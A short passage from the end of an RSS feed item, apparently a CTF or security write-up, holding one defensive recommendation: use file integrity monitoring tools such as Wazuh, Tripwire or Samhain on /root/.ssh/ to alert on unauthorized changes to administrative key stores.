&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deploy File Integrity Monitoring (FIM)&lt;/strong&gt;: Implement monitoring tools such as Wazuh, Tripwire, or Samhain on critical directories like &lt;code&gt;/root/.ssh/&lt;/code&gt; to immediately alert security teams of any unauthorized structural or content changes to administrative key stores.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>infosec</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
